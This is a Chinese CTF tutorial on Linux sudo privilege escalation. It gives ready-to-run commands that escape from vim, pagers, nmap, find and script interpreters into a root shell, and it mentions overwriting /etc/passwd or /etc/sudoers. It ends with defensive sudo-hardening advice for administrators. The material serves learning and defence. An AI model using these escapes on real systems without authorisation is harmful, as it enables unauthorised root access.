【点这里】 带你CTF通关

在CTF赛事中,合理利用sudo命令提权是常见的突破口。核心是查看当前用户能以root权限执行哪些命令,并灵活运用它们

一、核心原理:理解 sudo 权限机制

sudo(Superuser Do)允许普通用户以其他用户(通常是 root)的身份执行命令,其权限规则定义在/etc/sudoers文件中。CTF 中提权的核心逻辑是:找到当前用户被授权以 root 身份执行的高风险命令,并利用这些命令的特性突破权限限制,获取 root shell

第一步:检查当前用户的 sudo 权限(信息收集)

在尝试提权前,必须先明确当前用户能执行哪些 sudo 命令,这是所有操作的基础。执行以下命令:

sudo -l
关键输出解读:
  • NOPASSWD: ALL:无需输入密码即可执行所有命令(最高危);
  • NOPASSWD: /usr/bin/vim:无需密码仅可执行 vim 命令;
  • NOPASSWD标注:执行对应命令需输入当前用户密码。

重点关注无需密码执行具备高风险操作能力的命令(如编辑器、解释器、文件操作命令)。

二、实战提权:常见可利用命令与操作方法

以下是 CTF 中高频出现的可提权命令,按 “命令类型 + 提权原理 + 实操步骤” 整理,新手可直接套用。

可利用命令提权核心原理详细操作示例
vim/vi编辑器逃逸

1. 执行任意文件(文件不存在会新建)

2. 在 vim 界面输入:!/bin/sh:shell,直接获取 root shell

git分页器逃逸

1. 执行sudo git -p help 或 sudo git log -p

2. 在分页器界面输入!/bin/sh,触发 shell 执行

man手册页逃逸

1. 执行sudo man man

2. 在手册页界面输入!/bin/sh,获取 root 权限

more/less分页器逃逸

1. 执行sudo less /etc/hosts(任意可读文件均可)

2. 输入!/bin/sh,跳出分页器获取 shell

nmap(旧版本)交互 / 脚本模式执行系统命令

方法 1(交互模式):

sudo nmap --interactive → 输入!sh

方法 2(脚本模式):

echo"os.execute('/bin/sh')" > /tmp/shell.nsesudo

nmap --script=/tmp/shell.nse

findexec 参数执行任意命令

sudo find / -name testfile -exec /bin/sh \;

(testfile 可替换为任意存在的文件)

python/perl/ruby解释器直接执行系统命令

Python 示例:

sudo python -c 'import os; os.system("/bin/sh")'

Perl 示例:

sudo perl -e 'exec "/bin/sh";'

apt/apt-get子命令调用分页器sudo apt changelog apt → 分页器中输入!/bin/sh
bash/sh直接获取 shell若授权执行 shell:sudo bash 或 sudo sh(最直接的提权方式)
cp/mv覆盖系统关键文件

风险操作(需精准配置):

1. 修改/etc/passwd添加 root 权限用户

2. 覆盖/etc/sudoers扩大授权范围

(CTF 中极少用到,易操作失误)

补充:稳定 root shell 的技巧

通过上述方法获取的 shell 可能是 “非交互式 shell”,部分命令无法执行,可通过以下命令加固:

python -c 'import pty; pty.spawn("/bin/bash")'

# 若系统无python,可尝试:

script /dev/null -c bash
【点这里】 带你通过CTF
三、CTF 提权实战步骤(标准化流程)
  1. 信息收集:执行sudo -l,记录所有可执行的 sudo 命令(重点标记 NOPASSWD 项);
  2. 筛选高风险命令:从可执行命令中匹配上表中的提权命令(如 vim、python、find 等);
  3. 尝试提权:根据命令类型选择对应的提权方法(优先尝试最直接的方式,如sudo bash);
  4. 验证权限:提权后执行whoamiid,确认是否为 root 用户;
  5. 加固 shell:若 shell 不稳定,执行上述 “稳定 shell” 命令;
  6. 完成任务:读取 flag 文件(通常在/root/flag/home/xxx/flag)。
四、安全防御视角:sudo 配置最佳实践

从系统管理员角度,合理配置sudo可避免权限泄露,核心原则是最小权限原则

  1. 避免使用ALL=(ALL:ALL) ALL(授权所有用户执行所有命令);
  2. 精准指定可执行命令,如仅授权/usr/bin/ls而非/usr/bin/*
  3. 禁用高风险命令的 sudo 权限(如 vim、bash、python 等);
  4. 启用密码验证(避免 NOPASSWD 配置,除非必要);
  5. 定期审计/etc/sudoers文件,删除无用的授权规则。
五、注意事项
  1. 上述技巧仅适用于 CTF 赛事学习,在真实环境中需遵守法律法规,未经授权不得测试;
  2. 不同系统(如 Ubuntu、CentOS)的命令路径可能略有差异(如/bin/sh vs /usr/bin/sh),可通过which 命令确认路径;
  3. 部分新版本工具(如 nmap7.9+)已修复交互模式提权漏洞,需注意版本差异。
总结
  1. sudo -l是 sudo 提权的核心信息收集命令,必须优先执行;
  2. 提权的关键是利用高风险命令的 “逃逸特性”(如编辑器、分页器调用 shell);
  3. 按 “信息收集→筛选命令→尝试提权→验证权限” 的流程操作,降低失误率。

【点这里】 带你通过CTF

掌握 sudo 提权技巧不仅能应对 CTF 题目,也能帮助理解 Linux 权限机制,建议新手在本地虚拟机(如 Kali Linux)中反复练习上述命令,加深对原理的理解

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐